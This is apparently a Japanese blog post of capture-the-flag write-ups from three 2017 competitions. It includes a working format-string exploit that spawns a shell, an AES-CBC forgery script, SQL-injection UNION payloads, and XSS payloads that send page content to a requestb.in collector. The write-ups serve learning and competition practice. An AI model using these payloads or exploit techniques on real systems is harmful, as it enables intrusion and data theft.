0CTF 2017 Quals 供養（Writeup）
0CTF 2017 Qualsに参加。237ptで119位。
Welcome (Misc 12)
IRCのチャンネルトピックにflagがある。
#0ctf2017: Welcome to 0ctf 2017! https://ctf.0ops.net (flag{Welcome_to_0CTF_2017})
integrity (Crypto 75)
AES-128-CBCで暗号化されたデータを細工する問題。 最初の1ブロックがちょうどMD5（128 bit）になっているため、IVを変えることでMD5の値を自由にコントロールすることができる。 1ブロック余分に作って得た暗号文から最後のブロックを削り、IV経由でMD5を調整する。
from minipwn import *
import hashlib
BS = 16
pad = lambda s: s + (BS - len(s) % BS) * chr(BS - len(s) % BS)
expanded = 'admin\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0bX'
s = socket.create_connection(('202.120.7.217', 8221))
print recvuntil(s, '[l]ogin\n')
sendline(s, 'r')
sendline(s, expanded)
print recvuntil(s, 'secret:\n')
secret_hex = recvline(s).rstrip()
secret = secret_hex.decode('hex')
iv, enc_md5, enc_msg1, enc_msg2 = secret[:16], secret[16:32], secret[32:48], secret[48:]
h1 = hashlib.md5(expanded[:-1]).digest()
h2 = hashlib.md5(pad(expanded)).digest()
h_xor = xor(h1, h2)
secret2 = xor(iv, h_xor) + enc_md5 + enc_msg1
secret2_hex = secret2.encode('hex')
print recvuntil(s, '[l]ogin\n')
sendline(s, 'l')
sendline(s, secret2_hex)
interact(s)
$ python test.py
Welcome to 0CTF encryption service!
Please [r]egister or [l]ogin
Here is your secret:
Please [r]egister or [l]ogin
Welcome admin!
flag{Easy_br0ken_scheme_cann0t_keep_y0ur_integrity}
Please [r]egister or [l]ogin
EasiestPrintf (Pwnable 150)
任意のアドレスの値を読み出した後、Format string attackができる。 ただし、Full RELROなためGOT overwrite不可。
$ bash checksec.sh --file EasiestPrintf RELRO STACK CANARY NX PIE RPATH RUNPATH FILE Full RELRO Canary found NX enabled No PIE No RPATH No RUNPATH EasiestPrintf
bssセグメントにstdoutポインタがあるので、これが指すアドレスを読み出した後、Format string attackで+0x94の位置にあるvtableポインタを0x41414141に書き換えると、次のような状態でSEGVする。
$ gdb ./EasiestPrintf core Reading symbols from ./EasiestPrintf...(no debugging symbols found)...done. [New LWP 5607] Core was generated by `./EasiestPrintf'. Program terminated with signal SIGSEGV, Segmentation fault. #0 0xf76411bb in ?? () from /lib32/libc.so.6 (gdb) x/i $pc => 0xf76411bb: call DWORD PTR [ecx+0x1c] (gdb) i r ecx ecx 0x41414141 1094795585 (gdb) dps $esp ff9ea650 0xf77add60 <_IO_2_1_stdout_> ff9ea654 0xff9ea730 ' ' <repeats 200 times>... ff9ea658 0x142 ff9ea65c 0xb ff9ea660 0xff9ea7d0 ff9ea664 0xf76d1253 <write+35> ff9ea668 0x142 ff9ea66c 0xf76654c1 <_IO_file_write+97> ff9ea670 0x1 ff9ea674 0xff9ea7d0 ff9ea678 0xf7658580 <funlockfile> ff9ea67c 0xf77add60 <_IO_2_1_stdout_> ff9ea680 0x0 ff9ea684 0x0 ff9ea688 0xfbad8004 ff9ea68c 0xf77add60 <_IO_2_1_stdout_>
上の結果から、第一引数に0xf77add60が与えられた状態で、[ecx+0x1c]が呼ばれることがわかる。
vtableポインタが最後に一度しか書き換えられないことに注意しつつ、適当なアドレスにsystem関数のアドレスや文字列shを書き込むことでシェルを起動できる。
from minipwn import *
#s = connect_process(['./EasiestPrintf'])
s = socket.create_connection(('202.120.7.210', 12321))
addr_stdout = 0x0804a044
print recvuntil(s, ':\n')
sendline(s, str(addr_stdout))
data = recvline(s)
libc_stdout = int(data, 16)
print "[+] libc_stdout = %x" % libc_stdout
libc_stdout_vtable = libc_stdout + 0x94
#libc_system = libc_stdout - 0x001b0d60 + 0x0003a940
libc_system = libc_stdout - 0x001a9ac0 + 0x0003e3e0
str_sh = u32('sh\x00\x00')
x1 = libc_system
x1_hi, x1_lo = x1 >> 16, x1 & 0xFFFF
x2 = libc_stdout - 4 - 0x1c
x2_hi, x2_lo = x2 >> 16, x2 & 0xFFFF
print recvuntil(s, 'Good Bye\n')
# libc_stdout = 'sh\x00\x00'
# libc_stdout-4 = &system
# libc_stdout_vtable+0x1c = &(libc_stdout-4)
buf = p32(libc_stdout) + p32(libc_stdout-4) + p32(libc_stdout-2) + p32(libc_stdout_vtable)
buf += '%' + str(str_sh-16) + 'c%7$n'
buf += '%' + str(0x10000+x1_lo-str_sh) + 'c%8$hn'
buf += '%' + str(0x10000+x1_hi-x1_lo) + 'c%9$hn'
buf += '%' + str(0x10000+x2_lo-x1_hi) + 'c%10$hn'
sendline(s, buf)
interact(s)
$ python test.py
Which address you wanna read:
[+] libc_stdout = f7737ac0
Good Bye
(snip)
id
uid=1001(EasiestPrintf) gid=1001(EasiestPrintf) groups=1001(EasiestPrintf)
ls
bin
boot
dev
etc
home
initrd.img
lib
lib32
lib64
lost+found
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
vmlinuz
ls -R home
home:
EasiestPrintf
java
home/EasiestPrintf:
EasiestPrintf
flag
home/java:
cat /home/EasiestPrintf/flag
flag{Dr4m471c_pr1N7f_45_y0u_Kn0w}
所感
他に解きたかった問題は以下。
- simplesqlin (Web 33)
- oneTimePad (Crypto 114)
- Temmo’s Tiny Shop (Web 122)
- char (Pwnable 130)
- KoG (Web 146)
AlexCTF 供養（Writeup）
AlexCTFに参加。990ptで259位。
TR1: Hello there (Trivia 10)
IRCのチャンネル名にフラグがある。
IRC: #alexctf @freenode
#alexctf: Alexandria University student held capture the flag event ctf.oddcoder.com ALEXCTF{W3_w15h_y0u_g00d_luck}
TR2: SSL 0day (Trivia 20)
It lead to memory leakage between servers and clients rending large number of private keys accessible. (one word)
heartbleed
TR3: CA (Trivia 30)
What is the CA that issued Alexctf https certificate (flag is lowercase with no spaces)
letsencrypt
TR4: Doesn’t our logo look cool ? (Trivia 40)
トップページにあるアスキーアートのロゴの中にある。
$ grep -oP '[\w{}]' logo.txt | tr -d '\n'
ALEXCTF{0UR_L0G0_R0CKS}
RE1: Gifted (Reversing 50)
stringsするとフラグがある。
$ strings gifted
(snip)
Enter the flag:
AlexCTF{Y0u_h4v3_45t0n15h1ng_futur3_1n_r3v3r5ing}
You got it right dude!
Try harder!
(snip)
RE2: C++ is awesome (Reversing 100)
特定のアドレスで動作を止めてメモリに入っているデータを見ると、文字列と数字の配列がある。
$ gdb --args ./re2 AAAA
Reading symbols from ./re2...(no debugging symbols found)...done.
(gdb) b *0x400c24
Breakpoint 1 at 0x400c24
(gdb) r
Starting program: /tmp/re2 AAAA
Breakpoint 1, 0x0000000000400c24 in ?? ()
1: x/i $pc
=> 0x400c24: lea rax,[rbp-0x50]
(gdb) x/80i $pc
=> 0x400c24: lea rax,[rbp-0x50]
0x400c28: mov rdi,rax
0x400c2b: call 0x4009f0 <std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::end()@plt>
0x400c30: mov QWORD PTR [rbp-0x20],rax
0x400c34: lea rdx,[rbp-0x20]
0x400c38: lea rax,[rbp-0x60]
0x400c3c: mov rsi,rdx
0x400c3f: mov rdi,rax
0x400c42: call 0x400d3d
0x400c47: test al,al
0x400c49: je 0x400c95
0x400c4b: lea rax,[rbp-0x60]
0x400c4f: mov rdi,rax
0x400c52: call 0x400d9a
0x400c57: movzx edx,BYTE PTR [rax]
0x400c5a: mov rcx,QWORD PTR [rip+0x20143f] # 0x6020a0
0x400c61: mov eax,DWORD PTR [rbp-0x14]
0x400c64: cdqe
0x400c66: mov eax,DWORD PTR [rax*4+0x6020c0]
0x400c6d: cdqe
(snip)
(gdb) x/s {long}0x6020a0
0x400e58: "L3t_ME_T3ll_Y0u_S0m3th1ng_1mp0rtant_A_{FL4G}_W0nt_b3_3X4ctly_th4t_345y_t0_c4ptur3_H0wev3r_1T_w1ll_b3_C00l_1F_Y0u_g0t_1t"
(gdb) x/80wx 0x6020c0
0x6020c0: 0x00000024 0x00000000 0x00000005 0x00000036
0x6020d0: 0x00000065 0x00000007 0x00000027 0x00000026
0x6020e0: 0x0000002d 0x00000001 0x00000003 0x00000000
0x6020f0: 0x0000000d 0x00000056 0x00000001 0x00000003
0x602100: 0x00000065 0x00000003 0x0000002d 0x00000016
0x602110: 0x00000002 0x00000015 0x00000003 0x00000065
0x602120: 0x00000000 0x00000029 0x00000044 0x00000044
0x602130: 0x00000001 0x00000044 0x0000002b 0x00000000
0x602140 <std::cout>: 0xf7dce988 0x00007fff 0xf7dce9b0 0x00007fff
(snip)
(gdb) q
A debugging session is active.
Inferior 1 [process 11607] will be killed.
Quit anyway? (y or n) y
数字の配列の順で文字列から文字を取り出すとフラグが得られる。
msg = "L3t_ME_T3ll_Y0u_S0m3th1ng_1mp0rtant_A_{FL4G}_W0nt_b3_3X4ctly_th4t_345y_t0_c4ptur3_H0wev3r_1T_w1ll_b3_C00l_1F_Y0u_g0t_1t"
ary = [0x24, 0x0, 0x5, 0x36, 0x65, 0x7, 0x27, 0x26, 0x2d, 0x1, 0x3, 0x0, 0xd, 0x56, 0x1, 0x3, 0x65, 0x3, 0x2d, 0x16, 0x2, 0x15, 0x3, 0x65, 0x0, 0x29, 0x44, 0x44, 0x1, 0x44, 0x2b, 0x0]
s = ''
for i in ary:
s += msg[i]
print s
$ python test.py
ALEXCTF{W3_L0v3_C_W1th_CL45535}L
RE4: unVM me (Reversing 250)
「HITCON CTF 2016 Quals 供養（Writeup）」で使ったshow_file.pyでディスアセンブルすると、5文字ごとに特定のmd5ハッシュ値と一致しているかを見ていることがわかる。
2 12 LOAD_CONST 2 (174282896860968005525213562254350376167L)
15 LOAD_CONST 3 (137092044126081477479435678296496849608L)
18 LOAD_CONST 4 (126300127609096051658061491018211963916L)
21 LOAD_CONST 5 (314989972419727999226545215739316729360L)
24 LOAD_CONST 6 (256525866025901597224592941642385934114L)
27 LOAD_CONST 7 (115141138810151571209618282728408211053L)
30 LOAD_CONST 8 (8705973470942652577929336993839061582L)
33 LOAD_CONST 9 (256697681645515528548061291580728800189L)
36 LOAD_CONST 10 (39818552652170274340851144295913091599L)
39 LOAD_CONST 11 (65313561977812018046200997898904313350L)
42 LOAD_CONST 12 (230909080238053318105407334248228870753L)
45 LOAD_CONST 13 (196125799557195268866757688147870815374L)
48 LOAD_CONST 14 (74874145132345503095307276614727915885L)
51 BUILD_LIST 13
54 STORE_NAME 1 (md5s)
(snip)
12 >> 144 SETUP_LOOP 112 (to 259)
147 LOAD_NAME 6 (range)
150 LOAD_CONST 20 (0)
153 LOAD_NAME 4 (len)
156 LOAD_NAME 3 (flag)
159 CALL_FUNCTION 1
162 LOAD_CONST 19 (5)
165 CALL_FUNCTION 3
168 GET_ITER
>> 169 FOR_ITER 86 (to 258)
172 STORE_NAME 7 (i)
13 175 LOAD_NAME 3 (flag)
178 LOAD_NAME 7 (i)
181 LOAD_NAME 7 (i)
184 LOAD_CONST 19 (5)
187 BINARY_ADD
188 SLICE+3
189 STORE_NAME 8 (s)
14 192 LOAD_NAME 9 (int)
195 LOAD_CONST 21 ('0x')
198 LOAD_NAME 0 (md5)
201 LOAD_ATTR 10 (new)
204 LOAD_NAME 8 (s)
207 CALL_FUNCTION 1
210 LOAD_ATTR 11 (hexdigest)
213 CALL_FUNCTION 0
216 BINARY_ADD
217 LOAD_CONST 22 (16)
220 CALL_FUNCTION 2
223 LOAD_NAME 1 (md5s)
226 LOAD_NAME 7 (i)
229 LOAD_CONST 19 (5)
232 BINARY_DIVIDE
233 BINARY_SUBSCR
234 COMPARE_OP 3 (!=)
237 POP_JUMP_IF_FALSE 169
文字種をいろいろ変えながらブルートフォースすると元の文字列が求まる。
from itertools import product
from hashlib import md5
hashes = [
(174282896860968005525213562254350376167L), # md5('ALEXC')
(137092044126081477479435678296496849608L), # md5('TF{dv')
(126300127609096051658061491018211963916L), # md5('5d4s2')
(314989972419727999226545215739316729360L), # md5('vj8nk')
(256525866025901597224592941642385934114L), # md5('43s8d')
(115141138810151571209618282728408211053L), # md5('8l6m1')
(8705973470942652577929336993839061582L), # md5('n5l67')
(256697681645515528548061291580728800189L), # md5('ds9v4')
(39818552652170274340851144295913091599L), # md5('1n52n')
(65313561977812018046200997898904313350L), # md5('v37j4')
(230909080238053318105407334248228870753L), # md5('81h3d')
(196125799557195268866757688147870815374L), # md5('28n4b')
(74874145132345503095307276614727915885L) # md5('6v3k}')
]
"""
chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
for t in product(chars, repeat=5):
x = ''.join(t)
h = md5(x).hexdigest()
h = int(h, 16)
if h in hashes:
print "%d == md5(%r)" % (h, x)
"""
"""
chars = 'abcdefghijklmnopqrstuvwxyz0123456789'
for t in product(chars, repeat=2):
x = 'TF{' + ''.join(t)
h = md5(x).hexdigest()
h = int(h, 16)
if h in hashes:
print "%d == md5(%r)" % (h, x)
"""
"""
chars = 'abcdefghijklmnopqrstuvwxyz0123456789'
for t in product(chars, repeat=5):
x = ''.join(t)
h = md5(x).hexdigest()
h = int(h, 16)
if h in hashes:
print "%d == md5(%r)" % (h, x)
"""
chars = 'abcdefghijklmnopqrstuvwxyz0123456789'
for t in product(chars, repeat=4):
x = ''.join(t) + '}'
h = md5(x).hexdigest()
h = int(h, 16)
if h in hashes:
print "%d == md5(%r)" % (h, x)
# ALEXCTF{dv5d4s2vj8nk43s8d8l6m1n5l67ds9v41n52nv37j481h3d28n4b6v3k}
CR1: Ultracoded (Cryptography 50)
与えられたテキストを適当に変換すると、モールス信号を表す文字列が得られる。
data = open('zero_one').read()
s = ''
for x in data.split():
if x == 'ZERO':
s += '0'
else:
s += '1'
s = "%x" % int(s, 2)
s = s.decode('hex')
s = s.decode('base64')
print s
$ python test.py .- .-.. . -..- -.-. - ..-. - .... .---- ..... --- .---- ... --- ..... ..- .--. ...-- .-. --- ..... . -.-. .-. ...-- - --- - -..- -
Morse Code Translator等で復号した文字列を適当に変換するとフラグが得られる。
ALEXCTFTH15O1SO5UP3RO5ECR3TOTXT
ALEXCTF{TH15_1S_5UP3R_5ECR3T_TXT}
CR3: What is this encryption? (Cryptography 150)
「OpenSSLとPythonでRSA暗号の原理を知る」と同様に、RSAの復号を行うだけ。
p=0xa6055ec186de51800ddd6fcbf0192384ff42d707a55f57af4fcfb0d1dc7bd97055e8275cd4b78ec63c5d592f567c66393a061324aa2e6a8d8fc2a910cbee1ed9
q=0xfa0f9463ea0a93b929c099320d31c277e0b0dbc65b189ed76124f5a1218f5d91fd0102a4c8de11f28be5e4d0ae91ab319f4537e97ed74bc663e972a4a9119307
e=0x6d1fdab4ce3217b3fc32c9ed480a31d067fd57d93a9ab52b472dc393ab7852fbcb11abbebfd6aaae8032db1316dc22d3f7c3d631e24df13ef23d3b381a1c3e04abcc745d402ee3a031ac2718fae63b240837b4f657f29ca4702da9af22a3a019d68904a969ddb01bcf941df70af042f4fae5cbeb9c2151b324f387e525094c41
c=0x7fe1a4f743675d1987d25d38111fae0f78bbea6852cba5beda47db76d119a3efe24cb04b9449f53becd43b0b46e269826a983f832abb53b7a7e24a43ad15378344ed5c20f51e268186d24c76050c1e73647523bd5f91d9b6ad3e86bbf9126588b1dee21e6997372e36c3e74284734748891829665086e0dc523ed23c386bb520
def egcd(a, b):
x,y, u,v = 0,1, 1,0
while a != 0:
q,r = b//a,b%a; m,n = x-u*q,y-v*q
b,a, x,y, u,v = a,r, u,v, m,n
return b, x, y
def modinv(a, m):
g, x, y = egcd(a, m)
if g != 1:
return None # modular inverse does not exist
else:
return x % m
d = modinv(e, (p-1)*(q-1))
m = pow(c, d, p*q)
m = "%x" % m
print m.decode('hex')
$ python test.py
ALEXCTF{RS4_I5_E55ENT1AL_T0_D0_BY_H4ND}
Fore1: Hit the core (Forensics 50)
stringsすると長い文字列が見つかる。
$ strings fore1.core
(snip)
cvqAeqacLtqazEigwiXobxrCrtuiTzahfFreqc{bnjrKwgk83kgd43j85ePgb_e_rwqr7fvbmHjklo3tews_hmkogooyf0vbnk0ii87Drfgh_n kiwutfb0ghk9ro987k5tfb_hjiouo087ptfcv}
(snip)
フラグフォーマットをヒントに、一定間隔で文字を拾うとフラグが得られる。
s = 'cvqAeqacLtqazEigwiXobxrCrtuiTzahfFreqc{bnjrKwgk83kgd43j85ePgb_e_rwqr7fvbmHjklo3tews_hmkogooyf0vbnk0ii87Drfgh_n kiwutfb0ghk9ro987k5tfb_hjiouo087ptfcv}'
print s[3::5]
$ python test.py
ALEXCTF{K33P_7H3_g00D_w0rk_up}
Fore3: USB probing (Forensics 150)
USBのパケットキャプチャファイルが与えられる。 サイズの大きなパケットを探すと、101番のパケットでPNGファイルが転送されているのが見つかる。
ALEXCTF{SN1FF_TH3_FL4G_0V3R_U58}
SC1: Math bot (Scripting 100)
与えられる数式を計算するだけ。evalを使うのは危険だが適当にやってしまった。
from minipwn import *
s = socket.create_connection(('195.154.53.62', 1337))
for i in xrange(500):
print recvuntil(s, ':\n')
x = recvline(s)
print x
y = eval(x[:-2])
sendline(s, str(y))
interact(s)
$ python test.py
__________
______/ ________ \______
_/ ____________ \_
_/____________ ____________\_
/ ___________ \ / ___________ \
/ /XXXXXXXXXXX\ \/ /XXXXXXXXXXX\ \
/ /############/ \############\ \
| \XXXXXXXXXXX/ _ _ \XXXXXXXXXXX/ |
__|\_____ ___ // \\ ___ _____/|__
[_ \ \ X X / / _]
__| \ \ / / |__
[____ \ \ \ ____________ / / / ____]
\ \ \ \/||.||.||.||.||\/ / / /
\_ \ \ ||.||.||.||.|| / / _/
\ \ ||.||.||.||.|| / /
\_ ||_||_||_||_|| _/
\ ........ /
\________________/
Our system system has detected human traffic from your IP!
Please prove you are a bot
Question 1 :
51592980733851622235329877819524 % 81337315219774907248751097819108 =
Question 2 :
222530311273284491939188931042597 * 5582384329582694587240599887190 =
(snip)
Question 500 :
223942165497608593390730286109841 - 285025587991694605246774446376485 =
Well no human got time to solve 500 ridiculous math challenges
Congrats MR bot!
Tell your human operator flag is: ALEXCTF{1_4M_l33t_b0t}
*** Connection closed by remote host ***
所感
解けなかった問題は以下。
- RE3: Catalyst system (Reversing 150)
- RE5: packed movement (Reversing 350)
- CR2: Many time secrets (Cryptography 100)
- CR4: Poor RSA (Cryptography 200)
- CR5: Bring weakness (Cryptography 300)
- Fore2: Mail client (Forensics 100)
- Fore4: Unknown format (Forensics 200)
- SC2: Cutie cat (Scripting 150)
関連リンク
BITSCTF 2017 供養（Writeup）
BITSCTF 2017に参加。410ptで30位。
BotBot (Web 10)
/robots.txtを見るとそれっぽいものがある。
Useragent * Disallow: /fl4g
/fl4gにアクセスすると301になるが、/fl4g/にしたところフラグが得られた。
$ curl -v http://botbot.bitsctf.bits-quark.org/fl4g
* Trying 205.139.17.49...
* Connected to botbot.bitsctf.bits-quark.org (205.139.17.49) port 80 (#0)
> GET /fl4g HTTP/1.1
> Host: botbot.bitsctf.bits-quark.org
> User-Agent: curl/7.47.0
> Accept: */*
>
< HTTP/1.1 301 Moved Permanently
< Server: nginx/1.10.0 (Ubuntu)
< Date: Sun, 05 Feb 2017 01:28:52 GMT
< Content-Type: text/html; charset=iso-8859-1
< Content-Length: 351
< Connection: keep-alive
< Location: http://botbot.bitsctf.bits-quark.org/robot/fl4g/
<
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>301 Moved Permanently</title>
</head><body>
<h1>Moved Permanently</h1>
<p>The document has moved <a href="http://botbot.bitsctf.bits-quark.org/robot/fl4g/">here</a>.</p>
<hr>
<address>Apache/2.4.10 (Debian) Server at botbot.bitsctf.bits-quark.org Port 80</address>
</body></html>
* Connection #0 to host botbot.bitsctf.bits-quark.org left intact
$ curl -v http://botbot.bitsctf.bits-quark.org/fl4g/
* Trying 205.139.17.49...
* Connected to botbot.bitsctf.bits-quark.org (205.139.17.49) port 80 (#0)
> GET /fl4g/ HTTP/1.1
> Host: botbot.bitsctf.bits-quark.org
> User-Agent: curl/7.47.0
> Accept: */*
>
< HTTP/1.1 200 OK
< Server: nginx/1.10.0 (Ubuntu)
< Date: Sun, 05 Feb 2017 01:28:54 GMT
< Content-Type: text/html; charset=UTF-8
< Content-Length: 41
< Connection: keep-alive
< X-Powered-By: PHP/7.0.15
<
* Connection #0 to host botbot.bitsctf.bits-quark.org left intact
BITCTF{take_a_look_at_googles_robots_txt}
Batman vs Joker (Web 30)
ふつうのSQL injection問題。
' UNION SELECT table_name, column_name FROM information_schema.columns -- ' UNION SELECT flag, 1 FROM Joker --
BITSCTF{wh4t_d03snt_k1ll_y0u_s1mply_m4k3s_y0u_str4ng3r!}
Message the admin (Web 60)
My boss has created a website. I can send messages to him via a form on that website. He is always looking out for the messages that he receives.
XSS問題。 innerHTMLの先頭を見たところdata URIが延々と続いていたので、正規表現でフラグフォーマットにマッチする部分を抜き出した。
'"><img src=http://requestb.in/XXXXXXXX>
'"><script>location.href="http://requestb.in/XXXXXXXX?x="+encodeURIComponent(document.body.innerHTML.slice(0,3000))</script>
'"><script>location.href="http://requestb.in/XXXXXXXX?x="+document.body.innerHTML.match(/BITSCTF\{[^}]*\}/)[0]</script>
BITSCTF{hsr_1s_n0t_cr3ative}
Mission improbable (Rev 20)
与えられたテキストを適当にhex decodeしてstringsをかけると、フラグっぽいものが見つかる。
最後が変だが、}に直すと通った。
import sys
data = open('MissionImprobable.TEENSY31.hex').read()
for line in data.splitlines():
s = line[7:]
sys.stdout.write(s.decode('hex'))
$ python test.py | strings -n8
>F@&(F1F
>F@&(F1F
EF@%0F)F
"The flag is BI
TCTF{B4d_bad_U5BO
echo "This m
essage will selfL
destruct in 5 s
,^t`abd4o
fgen6-78'
%&s3v.wx_DEFGHIJ
KLMNOPQRSTUVWXYZ
[\]/10cm5
BITCTF{B4d_bad_U5B}
Riskv and Reward (Rev 80)
RISC-VのELF。 16進ダンプを眺めると、dataセクションと思われる箇所に文字列と数値の配列がある。
$ xxd riskv_and_reward
(snip)
00001040: 746a 6233 6373 4674 3072 7275 7472 685f tjb3csFt0rrutrh_
00001050: 7769 7635 5f5f 6669 7d6b 5f31 6968 607b wiv5__fi}k_1ih`{
00001060: 7849 6372 6873 6f79 426d 7977 3143 7954 xIcrhsoyBmyw1CyT
00001070: 3372 7678 5374 545f 6a71 3430 5f7a 7271 3rvxStT_jq40_zrq
00001080: 2800 0000 2100 0000 2f00 0000 3400 0000 (...!.../...4...
00001090: 2d00 0000 3600 0000 0600 0000 1f00 0000 -...6...........
000010a0: 2500 0000 3b00 0000 2900 0000 0300 0000 %...;...).......
000010b0: 3700 0000 3e00 0000 1b00 0000 0500 0000 7...>...........
000010c0: 2200 0000 1300 0000 1400 0000 3a00 0000 "...........:...
000010d0: 3100 0000 3000 0000 1a00 0000 1000 0000 1...0...........
000010e0: 0800 0000 2300 0000 0700 0000 2400 0000 ....#.......$...
000010f0: 3c00 0000 2c00 0000 0000 0000 1800 0000 <...,...........
00001100: 4300 0000 0000 0000 0000 0000 0000 0000 C...............
(snip)
数値の配列の並びで文字列から文字を抜き出してみるとフラグが得られた。
table = 'tjb3csFt0rrutrh_wiv5__fi}k_1ih`{xIcrhsoyBmyw1CyT3rvxStT_jq40_zrq'
ary = [0x28, 0x21, 0x2f, 0x34, 0x2d, 0x36, 0x06, 0x1f, 0x25, 0x3b, 0x29, 0x03, 0x37, 0x3e, 0x1b, 0x05, 0x22, 0x13, 0x14, 0x3a, 0x31, 0x30, 0x1a, 0x10, 0x08, 0x23, 0x07, 0x24, 0x3c, 0x2c, 0x00, 0x18]
s = ''
for x in ary:
s += table[x]
print s
$ python test.py
BITSCTF{s0m3_r1sc5_4r3_w0rth_1t}
Labour (Misc 20)
複数の緯度経度情報を含むGPXファイルが与えられる。 緯度経度を国名に直して、頭文字を並べるとフラグが得られる。
23.71697, 89.45508 // Bandladesh
22.82885, 80.79786 // India
39.88276, 58.81642 // Turkmenistan
15.43674, 27.65039 // Sudan
12.69179, 17.50781 // Chad
14.91081, 100.47656 // Thailand
45.9267, 2.21484 // France
4.11852, 102.19922 // Malaysia
34.85709, 65.84765 // Afghanistan
28.89086, 68.30859 // Pakistan
39.20502, 31.92187 // Turkey
47.24344, 19.8457 // Hungary
25.30828, 29.84765 // Egypt
18.97119, -72.28521 // Haiti
-13.61609, 17.68359 // Angola
33.84122, 102.23438 // China
46.89624, 69.53907 // Kazakhstan
BITSCTF{MAP_THE_HACK}
Banana Princess (Crypto 20)
PDFファイルが与えられるが、先頭がおかしい。
$ xxd MinionQuest.pdf | head 00000000: 2543 5153 2d31 2e35 0d25 e2e3 cfd3 0d0a %CQS-1.5.%...... 00000010: 3420 3020 626f 770d 3c3c 2f59 7661 726e 4 0 bow.<</Yvarn 00000020: 6576 6d72 7120 312f 5920 3433 3031 3930 evmrq 1/Y 430190 00000030: 2f42 2036 2f52 2034 3034 3334 332f 4120 /B 6/R 404343/A 00000040: 312f 4720 3432 3939 3931 2f55 205b 2035 1/G 429991/U [ 5 00000050: 3736 2031 3535 5d3e 3e0d 7261 7162 6f77 76 155]>>.raqbow 00000060: 0d20 2020 2020 2020 2020 2020 2020 2020 . 00000070: 2020 0d0a 6b65 7273 0d0a 3420 3134 0d0a ..kers..4 14.. 00000080: 3030 3030 3030 3030 3136 2030 3030 3030 0000000016 00000 00000090: 2061 0d0a 3030 3030 3030 3037 3331 2030 a..0000000731 0
PDF -> CQSの対応関係からROT13変換されていると推測し、逆変換したものを書き出す。
data = open('MinionQuest.pdf').read()
with open('a.pdf', 'wb') as f:
f.write(data.decode('rot13').encode('latin1'))
Adobe Readerで開くと一部に黒塗りがかかったページが表示される。 背景画像を選択した後右クリックから「画像をコピー」を選びペイント等に貼り付けると、黒塗りされていない画像が得られる。
BITSCTF{save_the_kid}
Beginner’s luck (Crypto 40)
与えられたコードを読むと、24バイトの鍵で繰り返しXORを取っていることがわかる。
ファイル名がBITSCTFfullhd.pngであることから1920x1080のPNG画像であると推測し、特定可能な先頭部分からXOR鍵を求めて復号する。
def xor(x, y):
return ''.join(chr(ord(a) ^ ord(b)) for a, b in zip(x, y))
data = open('BITSCTFfullhd.png').read()
# signature: 89504e470d0a1a0a
# chunk length: 0000000d
# chunk type: 49484452 (IHDR)
# width: 00000780 (1920)
# height: 00000438 (1080)
p = '89504e470d0a1a0a0000000d494844520000078000000438'.decode('hex')
c = data[:24]
key = xor(c,p)
def supa_encryption(s1, s2):
res = [chr(0)]*24
for i in range(len(res)):
q = ord(s1[i])
d = ord(s2[i])
k = q ^ d
res[i] = chr(k)
res = ''.join(res)
return res
enc_data = ''
for i in range(0, len(data), 24):
enc = supa_encryption(data[i:i+24], key)
enc_data += enc
with open('a.png', 'wb') as f:
f.write(enc_data)
BITSCTF{p_en_gee}
Sherlock (Crypto 60)
与えられたテキストを見ると不自然な箇所でアルファベットが大文字になっている。 大文字部分のみを取り出し、適当に変換するとフラグが得られる。
$ grep -oP '[A-Z]' final.txt | tr -d '\n' ZEROONEZEROZEROZEROZEROONEZEROZEROONEZEROZEROONEZEROZEROONEZEROONEZEROONEZEROONEZEROZEROZEROONEZEROONEZEROZEROONEONEZEROONEZEROZEROZEROZEROONEONEZEROONEZEROONEZEROONEZEROZEROZEROONEZEROZEROZEROONEONEZEROZEROONEONEONEONEZEROONEONEZEROONEONEZEROONEZEROZEROZEROZEROZEROONEONEZEROZEROZEROONEZEROONEONEZEROZEROONEZEROZEROZEROZEROONEONEZEROZEROONEONEZEROONEZEROONEONEONEONEONEZEROZEROONEONEZEROZEROZEROONEZEROONEONEZEROONEONEONEZEROZEROONEZEROONEONEONEONEONEZEROONEONEONEZEROZEROZEROZEROZEROONEONEZEROONEONEZEROZEROZEROZEROONEONEZEROONEZEROZEROZEROZEROONEONEZEROZEROZEROONEZEROONEONEZEROONEONEONEZEROZEROONEZEROONEONEONEONEONEZEROZEROONEONEZEROONEZEROONEZEROZEROONEONEZEROZEROZEROONEZEROZEROONEONEZEROONEONEONEZEROZEROONEONEZEROZEROONEONEZEROONEONEONEONEONEZEROONE $ grep -oP '[A-Z]' final.txt | tr -d '\n' | sed 's/ZERO/0/g;s/ONE/1/g' 010000100100100101010100010100110100001101010100010001100111101101101000001100010110010000110011010111110011000101101110010111110111000001101100001101000011000101101110010111110011010100110001001101110011001101111101
s = '010000100100100101010100010100110100001101010100010001100111101101101000001100010110010000110011010111110011000101101110010111110111000001101100001101000011000101101110010111110011010100110001001101110011001101111101'
s = "%x" % int(s, 2)
print s.decode('hex')
$ python test.py
BITSCTF{h1d3_1n_pl41n_5173}
Black Hole (Forensics 10)
stringsするとBase64っぽい文字列がある。
$ strings -n8 black_hole.jpg | tail
%%u{5{?Tz9Fy
_?=>KmGF
fyJmUQ!s
UX#0htK-?P
l!]Y5-E$
5 c2jwW-4
JeY[pVP=
j3xKE}*y
M&W]>[&
UQklUQ1RGe1M1IDAwMTQrODF9
フラグフォーマットをBase64変換したものを見つつ、逆変換するとフラグが得られる。
$ echo BITSCTF | base64
QklUU0NURgo=
$ echo QklUQ1RGe1M1IDAwMTQrODF9 | base64 -d
BITCTF{S5 0014+81}
Woodstock-1 (Forensics 10)
stringsするとフラグが見える。
$ strings ws1_2.pcapng | head -n 20
Linux 4.8.0-37-generic
Dumpcap (Wireshark) 2.2.4 (Git Rev Unknown from unknown)
wlo1
port 1209 or port 3000 or port 3001
Linux 4.8.0-37-generic
Ln$Lock EXTENDEDPROTOCOLXUa`cq;KGq_Xkk3=jfOHOL3B0xUnix Pk=PtokaX|
$Supports UserCommand NoGetINFO NoHello UserIP2 TTHSearch ZPipe0 TLS|$Key
p3/%DCN000%/
|$ValidateNick codelec|
$Supports ZPipe0 NoHello UserCommand UserIP2|$GetPass|
$MyPass BITSCTF{such_s3cure_much_w0w}|
$Hello codelec|$LogedIn codelec|
